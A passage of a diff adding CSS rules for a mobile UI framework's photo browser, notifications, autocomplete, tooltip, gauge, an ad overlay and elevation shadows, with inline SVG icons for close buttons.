.photo-browser-page:not(.photo-browser-page-dark) .toolbar { + background-color: rgba(33, 150, 243, 0.95); +} +.md .color-theme-pink .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-pink .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-theme-pink .photo-browser-page:not(.photo-browser-page-dark) .toolbar, +.md .color-pink .photo-browser-page:not(.photo-browser-page-dark) .toolbar { + background-color: rgba(233, 30, 99, 0.95); +} +.md .color-theme-yellow .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-yellow .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-theme-yellow .photo-browser-page:not(.photo-browser-page-dark) .toolbar, +.md .color-yellow .photo-browser-page:not(.photo-browser-page-dark) .toolbar { + background-color: rgba(255, 235, 59, 0.95); +} +.md .color-theme-orange .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-orange .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-theme-orange .photo-browser-page:not(.photo-browser-page-dark) .toolbar, +.md .color-orange .photo-browser-page:not(.photo-browser-page-dark) .toolbar { + background-color: rgba(255, 152, 0, 0.95); +} +.md .color-theme-gray .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-gray .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-theme-gray .photo-browser-page:not(.photo-browser-page-dark) .toolbar, +.md .color-gray .photo-browser-page:not(.photo-browser-page-dark) .toolbar { + background-color: rgba(158, 158, 158, 0.95); +} +.md .color-theme-white .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-white .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-theme-white .photo-browser-page:not(.photo-browser-page-dark) .toolbar, +.md .color-white .photo-browser-page:not(.photo-browser-page-dark) .toolbar { + background-color: rgba(255, 255, 255, 0.95); +} +.md .color-theme-black .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-black .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-theme-black .photo-browser-page:not(.photo-browser-page-dark) .toolbar, +.md .color-black .photo-browser-page:not(.photo-browser-page-dark) .toolbar { + background-color: rgba(0, 0, 0, 0.95); +} +.md.device-iphone-x .photo-browser-captions { + bottom: constant(safe-area-inset-bottom); + bottom: env(safe-area-inset-bottom); +} +.md.device-iphone-x .toolbar ~ .photo-browser-captions { + bottom: calc(48px + constant(safe-area-inset-bottom)); + bottom: calc(48px + env(safe-area-inset-bottom)); +} +/* === Notifications === */ +.notification { + position: absolute; + left: 0; + top: 0; + width: 100%; + z-index: 20000; + font-size: 14px; + margin: 0; + border: none; + display: none; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; + direction: ltr; +} +.notification-icon { + font-size: 0; +} +.notification-header { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: start; + -webkit-justify-content: flex-start; + -ms-flex-pack: start; + justify-content: flex-start; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; +} +.notification-close-button { + margin-left: auto; + cursor: pointer; +} +html.with-statusbar.device-ios .notification, +html.with-statusbar.ios:not(.device-ios):not(.device-android) .notification { + margin-top: 20px; +} +html.with-statusbar.device-android .notification, +html.with-statusbar.md:not(.device-ios):not(.device-android) .notification { + margin-top: 24px; +} +html.with-statusbar.device-iphone-x .notification { + margin-top: constant(safe-area-inset-top); + margin-top: env(safe-area-inset-top); +} +.ios .notification { + left: 8px; + top: 8px; + width: calc(100% - 16px); + background: rgba(250, 250, 250, 0.95); + border-radius: 12px; + -webkit-box-shadow: 0px 5px 25px -10px rgba(0, 0, 0, 0.7); + box-shadow: 0px 5px 25px -10px rgba(0, 0, 0, 0.7); + padding: 10px; + color: #000; + max-width: 568px; + -webkit-transition-duration: 450ms; + transition-duration: 450ms; + -webkit-transform: translate3d(0%, -200%, 0); + transform: translate3d(0%, -200%, 0); +} +@supports ((-webkit-backdrop-filter: blur(10px)) or (backdrop-filter: blur(10px))) { + .ios .notification { + background: rgba(255, 255, 255, 0.65); + -webkit-backdrop-filter: blur(10px); + backdrop-filter: blur(10px); + } +} +@media (min-width: 584px) { + .ios .notification { + left: 50%; + width: 568px; + margin-left: -284px; + } +} +.ios .notification.modal-in { + -webkit-transform: translate3d(0%, 0%, 0); + transform: translate3d(0%, 0%, 0); + opacity: 1; +} +.ios .notification.modal-out { + -webkit-transform: translate3d(0%, -200%, 0); + transform: translate3d(0%, -200%, 0); +} +.ios .notification-icon { + width: 20px; + height: 20px; + line-height: 20px; + margin-right: 8px; +} +.ios .notification-icon i { + width: 20px; + height: 20px; + font-size: 20px; +} +.ios .notification-title { + font-size: 13px; + text-transform: uppercase; + letter-spacing: 0.02em; +} +.ios .notification-subtitle { + font-size: 15px; + font-weight: 600; + line-height: 1.35; +} +.ios .notification-text { + font-size: 15px; + line-height: 1.2; +} +.ios .notification-header + .notification-content { + margin-top: 10px; +} +.ios .notification-title-right-text { + color: #444a51; + font-size: 13px; + margin-right: 6px; + margin-left: auto; +} +.ios .notification-title-right-text + .notification-close-button { + margin-left: 10px; +} +.ios .notification-close-button { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%2044%2044'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cg%20stroke%3D'none'%20stroke-width%3D'1'%20fill%3D'none'%20fill-rule%3D'evenodd'%3E%3Cpath%20d%3D'M22.5%2C20.3786797%20L14.7218254%2C12.6005051%20L12.6005051%2C14.7218254%20L20.3786797%2C22.5%20L12.6005051%2C30.2781746%20L14.7218254%2C32.3994949%20L22.5%2C24.6213203%20L30.2781746%2C32.3994949%20L32.3994949%2C30.2781746%20L24.6213203%2C22.5%20L32.3994949%2C14.7218254%20L30.2781746%2C12.6005051%20L22.5%2C20.3786797%20Z%20M22%2C44%20C34.1502645%2C44%2044%2C34.1502645%2044%2C22%20C44%2C9.8497355%2034.1502645%2C0%2022%2C0%20C9.8497355%2C0%200%2C9.8497355%200%2C22%20C0%2C34.1502645%209.8497355%2C44%2022%2C44%20Z'%20fill%3D'%23000000'%3E%3C%2Fpath%3E%3C%2Fg%3E%3C%2Fsvg%3E"); + width: 20px; + height: 20px; + background-position: center top; + background-repeat: no-repeat; + background-size: 100% auto; + position: relative; + opacity: 0.3; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.ios .notification-close-button.active-state { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; + opacity: 0.1; +} +.ios .notification-close-button:after { + content: ''; + position: absolute; + left: 50%; + top: 50%; + width: 44px; + height: 44px; + margin-left: -22px; + margin-top: -22px; +} +.md .notification { + left: 0; + top: 0; + width: 100%; + background: #fff; + border-radius: 0px; + -webkit-box-shadow: 0 2px 4px rgba(0, 0, 0, 0.22), 0 1px 2px rgba(0, 0, 0, 0.24); + box-shadow: 0 2px 4px rgba(0, 0, 0, 0.22), 0 1px 2px rgba(0, 0, 0, 0.24); + padding: 16px; + color: #000; + max-width: 568px; +} +@media (min-width: 568px) { + .md .notification { + left: 50%; + margin-left: -284px; + } +} +.md .notification.modal-in { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; + -webkit-animation: notification-md-in 400ms ease-out; + animation: notification-md-in 400ms ease-out; +} +.md .notification.modal-in.notification-transitioning { + -webkit-transition-duration: 200ms; + transition-duration: 200ms; +} +.md .notification.modal-out { + -webkit-animation: none; + animation: none; + -webkit-transition-duration: 200ms; + transition-duration: 200ms; + -webkit-transition-timing-function: ease-in; + transition-timing-function: ease-in; + -webkit-transform: translate3d(0, -150%, 0); + transform: translate3d(0, -150%, 0); +} +.md .notification-icon { + width: 16px; + height: 16px; + margin-right: 8px; + line-height: 16px; +} +.md .notification-icon i { + width: 16px; + height: 16px; + font-size: 16px; +} +.md .notification-title { + font-size: 12px; + line-height: 1; + color: #2196f3; +} +.md .notification-subtitle { + font-size: 14px; + line-height: 1.35; + color: #212121; +} +.md .notification-subtitle + .notification-text { + margin-top: 2px; +} +.md .notification-text { + font-size: 14px; + line-height: 1.35; + color: #757575; +} +.md .notification-header + .notification-content { + margin-top: 6px; +} +.md .notification-title-right-text { + font-size: 12px; + color: #757575; + margin-left: 4px; +} +.md .notification-title-right-text:before { + content: ''; + width: 3px; + height: 3px; + border-radius: 50%; + display: inline-block; + vertical-align: middle; + margin-right: 4px; + background: #757575; +} +.md .notification-close-button { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23737373'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M19%206.41L17.59%205%2012%2010.59%206.41%205%205%206.41%2010.59%2012%205%2017.59%206.41%2019%2012%2013.41%2017.59%2019%2019%2017.59%2013.41%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); + width: 16px; + height: 16px; + background-position: center top; + background-repeat: no-repeat; + background-size: 100% auto; + position: relative; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.md .notification-close-button:before { + content: ''; + width: 152%; + height: 152%; + position: absolute; + left: -26%; + top: -26%; + background-image: -webkit-radial-gradient(center, circle, rgba(0, 0, 0, 0.1) 66%, rgba(0, 0, 0, 0) 66%); + background-image: radial-gradient(circle at center, rgba(0, 0, 0, 0.1) 66%, rgba(0, 0, 0, 0) 66%); + background-repeat: no-repeat; + background-position: center; + background-size: 100% 100%; + opacity: 0; + pointer-events: none; + -webkit-transition-duration: 600ms; + transition-duration: 600ms; +} +.md .notification-close-button.active-state:before { + opacity: 1; + -webkit-transition-duration: 150ms; + transition-duration: 150ms; +} +.md .notification-close-button:before { + width: 48px; + height: 48px; + left: 50%; + top: 50%; + margin-left: -24px; + margin-top: -24px; +} +.md .notification-close-button:after { + content: ''; + position: absolute; + left: 50%; + top: 50%; + width: 48px; + height: 48px; + margin-left: -22px; + margin-top: -22px; +} +@-webkit-keyframes notification-md-in { + 0% { + -webkit-transform: translate3d(0, -150%, 0); + transform: translate3d(0, -150%, 0); + } + 50% { + -webkit-transform: translate3d(0, 10%, 0); + transform: translate3d(0, 10%, 0); + } + 100% { + -webkit-transform: translate3d(0, 0%, 0); + transform: translate3d(0, 0%, 0); + } +} +@keyframes notification-md-in { + 0% { + -webkit-transform: translate3d(0, -150%, 0); + transform: translate3d(0, -150%, 0); + } + 50% { + -webkit-transform: translate3d(0, 10%, 0); + transform: translate3d(0, 10%, 0); + } + 100% { + -webkit-transform: translate3d(0, 0%, 0); + transform: translate3d(0, 0%, 0); + } +} +/* === Autocomplete === */ +.autocomplete-page .autocomplete-found { + display: block; +} +.autocomplete-page .autocomplete-not-found { + display: none; +} +.autocomplete-page .autocomplete-values { + display: block; +} +.autocomplete-page .list ul:empty { + display: none; +} +.autocomplete-preloader:not(.autocomplete-preloader-visible) { + visibility: hidden; +} +.autocomplete-preloader:not(.autocomplete-preloader-visible), +.autocomplete-preloader:not(.autocomplete-preloader-visible) * { + -webkit-animation: none; + animation: none; +} +.autocomplete-dropdown { + background: #fff; + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: absolute; + z-index: 500; + width: 100%; + left: 0; +} +.autocomplete-dropdown .autocomplete-dropdown-inner { + position: relative; + overflow: auto; + -webkit-overflow-scrolling: touch; + height: 100%; + z-index: 1; +} +.autocomplete-dropdown .autocomplete-preloader { + display: none; + position: absolute; + bottom: 100%; + width: 20px; + height: 20px; +} +.autocomplete-dropdown .autocomplete-preloader-visible { + display: block; +} +.autocomplete-dropdown .autocomplete-dropdown-placeholder { + color: #a9a9a9; +} +.autocomplete-dropdown .list { + margin: 0; +} +.autocomplete-dropdown .list ul { + background: none !important; +} +.autocomplete-dropdown .list ul:before { + display: none !important; +} +.autocomplete-dropdown .list ul:after { + display: none !important; +} +.list .item-content-dropdown-expanded .item-title.item-label { + width: 0; + -webkit-flex-shrink: 10; + -ms-flex-negative: 10; + flex-shrink: 10; + overflow: hidden; +} +.list .item-content-dropdown-expanded .item-title.item-label + .item-input-wrap { + margin-left: 0; +} +.list .item-content-dropdown-expanded .item-input-wrap { + width: 100%; +} +.ios .autocomplete-dropdown { + -webkit-box-shadow: 0px 3px 3px rgba(0, 0, 0, 0.2); + box-shadow: 0px 3px 3px rgba(0, 0, 0, 0.2); +} +.ios .autocomplete-dropdown .autocomplete-preloader { + right: 15px; + margin-bottom: 12px; +} +.ios .autocomplete-dropdown .list b { + font-weight: 600; +} +.ios .searchbar-input-wrap .autocomplete-dropdown { + margin-top: -32px; + top: 100%; + background: #e8e8ea; + z-index: 20; + border-radius: 8px; +} +.ios .searchbar-input-wrap .autocomplete-dropdown .item-content { + padding-left: 28px; +} +.ios .searchbar-input-wrap .autocomplete-dropdown li:last-child { + border-radius: 0 0 8px 8px; + position: relative; + overflow: hidden; +} +.ios .searchbar-input-wrap .autocomplete-dropdown .autocomplete-dropdown-inner { + padding-top: 32px; +} +.ios .searchbar-input-wrap .autocomplete-dropdown .autocomplete-dropdown-placeholder { + color: #939398; +} +.ios .theme-dark .autocomplete-dropdown { + background-color: #1c1c1d; +} +.ios .theme-dark .searchbar-input-wrap .autocomplete-dropdown { + background-color: #171717; +} +.md .autocomplete-page .navbar .autocomplete-preloader { + margin-right: 16px; +} +.md .autocomplete-dropdown { + -webkit-box-shadow: 0 2px 2px rgba(0, 0, 0, 0.25); + box-shadow: 0 2px 2px rgba(0, 0, 0, 0.25); +} +.md .autocomplete-dropdown .autocomplete-preloader { + right: 16px; + margin-bottom: 8px; +} +.md .autocomplete-dropdown .autocomplete-preloader .preloader-inner-gap, +.md .autocomplete-dropdown .autocomplete-preloader .preloader-inner-half-circle { + border-width: 3px; +} +.md .autocomplete-dropdown .list { + color: rgba(0, 0, 0, 0.54); +} +.md .autocomplete-dropdown .list b { + font-weight: normal; + color: #212121; +} +.md .searchbar-input-wrap .autocomplete-dropdown .item-content { + padding-left: 73px; +} +.md .searchbar-input-wrap .autocomplete-dropdown li:last-child { + border-radius: 0 0 8px 8px; + position: relative; + overflow: hidden; +} +.md .searchbar-input-wrap .autocomplete-dropdown .autocomplete-dropdown-placeholder { + color: #939398; +} +/* === Tooltip === */ +.tooltip { + position: absolute; + z-index: 20000; + background: rgba(0, 0, 0, 0.87); + border-radius: 4px; + padding: 8px 16px; + color: #fff; + font-size: 14px; + -webkit-box-sizing: border-box; + box-sizing: border-box; + line-height: 1.2; + opacity: 0; + -webkit-transform: scale(0.9); + transform: scale(0.9); + -webkit-transition-duration: 150ms; + transition-duration: 150ms; + -webkit-transition-property: opacity, -webkit-transform; + transition-property: opacity, -webkit-transform; + transition-property: opacity, transform; + transition-property: opacity, transform, -webkit-transform; + z-index: 99000; + font-weight: 500; +} +.tooltip.tooltip-in { + -webkit-transform: scale(1); + transform: scale(1); + opacity: 1; +} +.tooltip.tooltip-out { + opacity: 0; + -webkit-transform: scale(1); + transform: scale(1); +} +.device-desktop .tooltip { + font-size: 12px; + padding: 6px 8px; +} +/* === Gauge === */ +.gauge { + position: relative; + text-align: center; + margin-left: auto; + margin-right: auto; + display: inline-block; +} +.gauge-svg, +.gauge svg { + max-width: 100%; + height: auto; +} +.gauge-svg circle, +.gauge svg circle, +.gauge-svg path, +.gauge svg path { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +iframe#viAd { + z-index: 12900 !important; + background: #000 !important; +} +.vi-overlay { + background: rgba(0, 0, 0, 0.85); + z-index: 13100; + position: absolute; + left: 0%; + top: 0%; + width: 100%; + height: 100%; + border-radius: 3px; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-align-content: center; + -ms-flex-line-pack: center; + align-content: center; + text-align: center; + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; +} +@supports ((-webkit-backdrop-filter: blur(10px)) or (backdrop-filter: blur(10px))) { + .vi-overlay { + background: rgba(0, 0, 0, 0.65); + -webkit-backdrop-filter: blur(10px); + backdrop-filter: blur(10px); + } +} +.vi-overlay .vi-overlay-text { + text-align: center; + color: #fff; + max-width: 80%; +} +.vi-overlay .vi-overlay-text + .vi-overlay-play-button { + margin-top: 15px; +} +.vi-overlay .vi-overlay-play-button { + width: 44px; + height: 44px; + border-radius: 50%; + border: 2px solid #fff; + position: relative; +} +.vi-overlay .vi-overlay-play-button.active-state { + opacity: 0.55; +} +.vi-overlay .vi-overlay-play-button:before { + content: ''; + width: 0; + height: 0; + border-top: 8px solid transparent; + border-bottom: 8px solid transparent; + border-left: 14px solid #fff; + position: absolute; + left: 50%; + top: 50%; + margin-left: 2px; + -webkit-transform: translate(-50%, -50%); + transform: translate(-50%, -50%); +} +/* === Elevation === */ +.elevation-0 { + -webkit-box-shadow: 0px 0px 0px 0px rgba(0, 0, 0, 0) !important; + box-shadow: 0px 0px 0px 0px rgba(0, 0, 0, 0) !important; +} +.elevation-1 { + -webkit-box-shadow: 0px 2px 1px -1px rgba(0, 0, 0, 0.2), 0px 1px 1px 0px rgba(0, 0, 0, 0.14), 0px 1px 3px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 2px 1px -1px rgba(0, 0, 0, 0.2), 0px 1px 1px 0px rgba(0, 0, 0, 0.14), 0px 1px 3px 0px rgba(0, 0, 0, 0.12) !important; +} +.elevation-2 { + -webkit-box-shadow: 0px 3px 1px -2px rgba(0, 0, 0, 0.2), 0px 2px 2px 0px rgba(0, 0, 0, 0.14), 0px 1px 5px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 1px -2px rgba(0, 0, 0, 0.2), 0px 2px 2px 0px rgba(0, 0, 0, 0.14), 0px 1px 5px 0px rgba(0, 0, 0, 0.12) !important; +} +.elevation-3 { + -webkit-box-shadow: 0px 3px 3px -2px rgba(0, 0, 0, 0.2), 0px 3px 4px 0px rgba(0, 0, 0, 0.14), 0px 1px 8px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 3px -2px rgba(0, 0, 0, 0.2), 0px 3px 4px 0px rgba(0, 0, 0, 0.14), 0px 1px 8px 0px rgba(0, 0, 0, 0.12) !important; +} +.elevation-4 { + -webkit-box-shadow: 0px 2px 4px -1px rgba(0, 0, 0, 0.2), 0px 4px 5px 0px rgba(0, 0, 0, 0.14), 0px 1px 10px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 2px 4px -1px rgba(0, 0, 0, 0.2), 0px 4px 5px 0px rgba(0, 0, 0, 0.14), 0px 1px 10px 0px rgba(0, 0, 0, 0.12) !important; +} +.elevation-5 { + -webkit-box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 5px 8px 0px rgba(0, 0, 0, 0.14), 0px 1px 14px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 5px 8px 0px rgba(0, 0, 0, 0.14), 0px 1px 14px 0px rgba(0, 0, 0, 0.12) !important; +} +.elevation-6 { + -webkit-box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 6px 10px 0px rgba(0, 0, 0, 0.14), 0px 1px 18px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 6px 10px 0px rgba(0, 0, 0, 0.14), 0px 1px 18px 0px rgba(0, 0, 0, 0.12) !important; +} +.elevation-7 { + -webkit-box-shadow: 0px 4px 5px -2px rgba(0, 0, 0, 0.2), 0px 7px 10px 1px rgba(0, 0, 0, 0.14), 0px 2px 16px 1px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 4px 5px -2px rgba(0, 0, 0, 0.2), 0px 7px 10px 1px rgba(0, 0, 0, 0.14), 0px 2px 16px 1px rgba(0, 0, 0, 0.12) !important; +} +.elevation-8 { + -webkit-box-shadow: 0px 5px 5px -3px rgba(0, 0, 0, 0.2), 0px 8px 10px 1px rgba(0, 0, 0, 0.14), 0px 3px 14px 2px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 5px 5px -3px rgba(0, 0, 0, 0.2), 0px 8px 10px 1px rgba(0, 0, 0, 0.14), 0px 3px 14px 2px rgba(0, 0, 0, 0.12) !important; +} +.elevation-9 { + -webkit-box-shadow: 0px 5px 6px -3px rgba(0, 0, 0, 0.2), 0px 9px 12px 1px rgba(0, 0, 0, 0.14), 0px 3px 16px 2px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 5px 6px -3px rgba(0, 0, 0, 0.2), 0px 9px 12px 1px rgba(0, 0, 0, 0.14), 0px 3px 16px 2px rgba(0, 0, 0, 0.12) !important; +} +.elevation-10 { + -webkit-box-shadow: 0px 6px 6px -3px rgba(0, 0, 0, 0.2), 0px 10px 14px 1px rgba(0, 0, 0, 0.14), 0px 4px 18px 3px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 6px 6px -3px rgba(0, 0, 0, 0.2), 0px 10px 14px 1px rgba(0, 0, 0, 0.14), 0px 4px 18px 3px rgba(0, 0, 0, 0.12) !important; +} +.elevation-11 { + -webkit-box-shadow: 0px 6px 7px -4px rgba(0, 0, 0, 0.2), 0px 11px 15px 1px rgba(0, 0, 0, 0.14), 0px 4px 20px 3px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 6px 7px -4px rgba(0, 0, 0, 0.2), 0px 11px 15px 1px rgba(0, 0, 0, 0.14), 0px 4px 20px 3px rgba(0, 0, 0, 0.12) !important; +} +.elevation-12 { + -webkit-box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 12px 17px 2px rgba(0, 0, 0, 0.14), 0px 5px 22px 4px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 12px 17px 2px rgba(0, 0, 0, 0.14), 0px 5px 22px 4px rgba(0, 0, 0, 0.12) !important; +} +.elevation-13 { + -webkit-box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 13px 19px 2px rgba(0, 0, 0, 0.14), 0px 5px 24px 4px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 13px 19px 2px rgba(0, 0, 0, 0.14), 0px 5px 24px 4px rgba(0, 0, 0, 0.12) !important; +} +.elevation-14 { + -webkit-box-shadow: 0px 7px 9px -4px rgba(0, 0, 0, 0.2), 0px 14px 21px 2px rgba(0, 0, 0, 0.14), 0px 5px 26px 4px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 7px 9px -4px rgba(0, 0, 0, 0.2), 0px 14px 21px 2px rgba(0, 0, 0, 0.14), 0px 5px 26px 4px rgba(0, 0, 0, 0.12) !important; +} +.elevation-15 { + -webkit-box-shadow: 0px 8px 9px -5px rgba(0, 0, 0, 0.2), 0px 15px 22px 2px rgba(0, 0, 0, 0.14), 0px 6px 28px 5px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 8px 9px -5px rgba(0, 0, 0, 0.2), 0px 15px 22px 2px rgba(0, 0, 0, 0.14), 0px 6px 28px 5px rgba(0, 0, 0, 0.12) !important; +} +.elevation-16 { + -webkit-box-shadow: 0px 8px 10px -5px rgba(0, 0, 0, 0.2), 0px 16px 24px 2px rgba(0, 0, 0, 0.14), 0px 6px 30px 5px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 8px 10px -5px rgba(0, 0, 0, 0.2), 0px 16px 24px 2px rgba(0, 0, 0, 0.14), 0px 6px 30px 5px rgba(0, 0, 0, 0.12) !important; +} +.elevation-17 { + -webkit-box-shadow: 0px 8px 11px -5px rgba(0, 0, 0, 0.2), 0px 17px 26px 2px rgba(0, 0, 0, 0.14), 0px 6px 32px 5px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 8px 11px -5px rgba(0, 0, 0, 0.2), 0px 17px 26px 2px rgba(0, 0, 0, 0.14), 0px 6px 32px 5px rgba(0, 0, 0, 0.12) !important; +} +.elevation-18 { + -webkit-box-shadow: 0px 9px 11px -5px rgba(0, 0, 0, 0.2), 0px 18px 28px 2px rgba(0, 0, 0, 0.14), 0px 7px 34px 6px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 9px 11px -5px rgba(0, 0, 0, 0.2), 0px 18px 28px 2px rgba(0, 0, 0, 0.14), 0px 7px 34px 6px rgba(0, 0, 0, 0.12) !important; +} +.elevation-19 { + -webkit-box-shadow: 0px 9px 12px -6px rgba(0, 0, 0, 0.2), 0px 19px 29px 2px rgba(0, 0, 0, 0.14), 0px 7px 36px 6px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 9px 12px -6px rgba(0, 0, 0, 0.2), 0px 19px 29px 2px rgba(0, 0, 0, 0.14), 0px 7px 36px 6px rgba(0, 0, 0, 0.12) !important; +} +.elevation-20 { + -webkit-box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 20px 31px 3px rgba(0, 0, 0, 0.14), 0px 8px 38px 7px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 20px 31px 3px rgba(0, 0, 0, 0.14), 0px 8px 38px 7px rgba(0, 0, 0, 0.12) !important; +} +.elevation-21 { + -webkit-box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 21px 33px 3px rgba(0, 0, 0, 0.14), 0px 8px 40px 7px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 21px 33px 3px rgba(0, 0, 0, 0.14), 0px 8px 40px 7px rgba(0, 0, 0, 0.12) !important; +} +.elevation-22 { + -webkit-box-shadow: 0px 10px 14px -6px rgba(0, 0, 0, 0.2), 0px 22px 35px 3px rgba(0, 0, 0, 0.14), 0px 8px 42px 7px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 10px 14px -6px rgba(0, 0, 0, 0.2), 0px 22px 35px 3px rgba(0, 0, 0, 0.14), 0px 8px 42px 7px rgba(0, 0, 0, 0.12) !important; +} +.elevation-23 { + -webkit-box-shadow: 0px 11px 14px -7px rgba(0, 0, 0, 0.2), 0px 23px 36px 3px rgba(0, 0, 0, 0.14), 0px 9px 44px 8px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 11px 14px -7px rgba(0, 0, 0, 0.2), 0px 23px 36px 3px rgba(0, 0, 0, 0.14), 0px 9px 44px 8px rgba(0, 0, 0, 0.12) !important; +} +.elevation-24 { + -webkit-box-shadow: 0px 11px 15px -7px rgba(0, 0, 0, 0.2), 0px 24px 38px 3px rgba(0, 0, 0, 0.14), 0px 9px 46px 8px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 11px 15px -7px rgba(0, 0, 0, 0.2), 0px 24px 38px 3px rgba(0, 0, 0, 0.14), 0px 9px 46px 8px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-0:hover { + -webkit-box-shadow: 0px 0px 0px 0px rgba(0, 0, 0, 0) !important; + box-shadow: 0px 0px 0px 0px rgba(0, 0, 0, 0) !important; +} +.device-desktop .elevation-hover-1:hover { + -webkit-box-shadow: 0px 2px 1px -1px rgba(0, 0, 0, 0.2), 0px 1px 1px 0px rgba(0, 0, 0, 0.14), 0px 1px 3px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 2px 1px -1px rgba(0, 0, 0, 0.2), 0px 1px 1px 0px rgba(0, 0, 0, 0.14), 0px 1px 3px 0px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-2:hover { + -webkit-box-shadow: 0px 3px 1px -2px rgba(0, 0, 0, 0.2), 0px 2px 2px 0px rgba(0, 0, 0, 0.14), 0px 1px 5px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 1px -2px rgba(0, 0, 0, 0.2), 0px 2px 2px 0px rgba(0, 0, 0, 0.14), 0px 1px 5px 0px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-3:hover { + -webkit-box-shadow: 0px 3px 3px -2px rgba(0, 0, 0, 0.2), 0px 3px 4px 0px rgba(0, 0, 0, 0.14), 0px 1px 8px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 3px -2px rgba(0, 0, 0, 0.2), 0px 3px 4px 0px rgba(0, 0, 0, 0.14), 0px 1px 8px 0px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-4:hover { + -webkit-box-shadow: 0px 2px 4px -1px rgba(0, 0, 0, 0.2), 0px 4px 5px 0px rgba(0, 0, 0, 0.14), 0px 1px 10px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 2px 4px -1px rgba(0, 0, 0, 0.2), 0px 4px 5px 0px rgba(0, 0, 0, 0.14), 0px 1px 10px 0px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-5:hover { + -webkit-box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 5px 8px 0px rgba(0, 0, 0, 0.14), 0px 1px 14px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 5px 8px 0px rgba(0, 0, 0, 0.14), 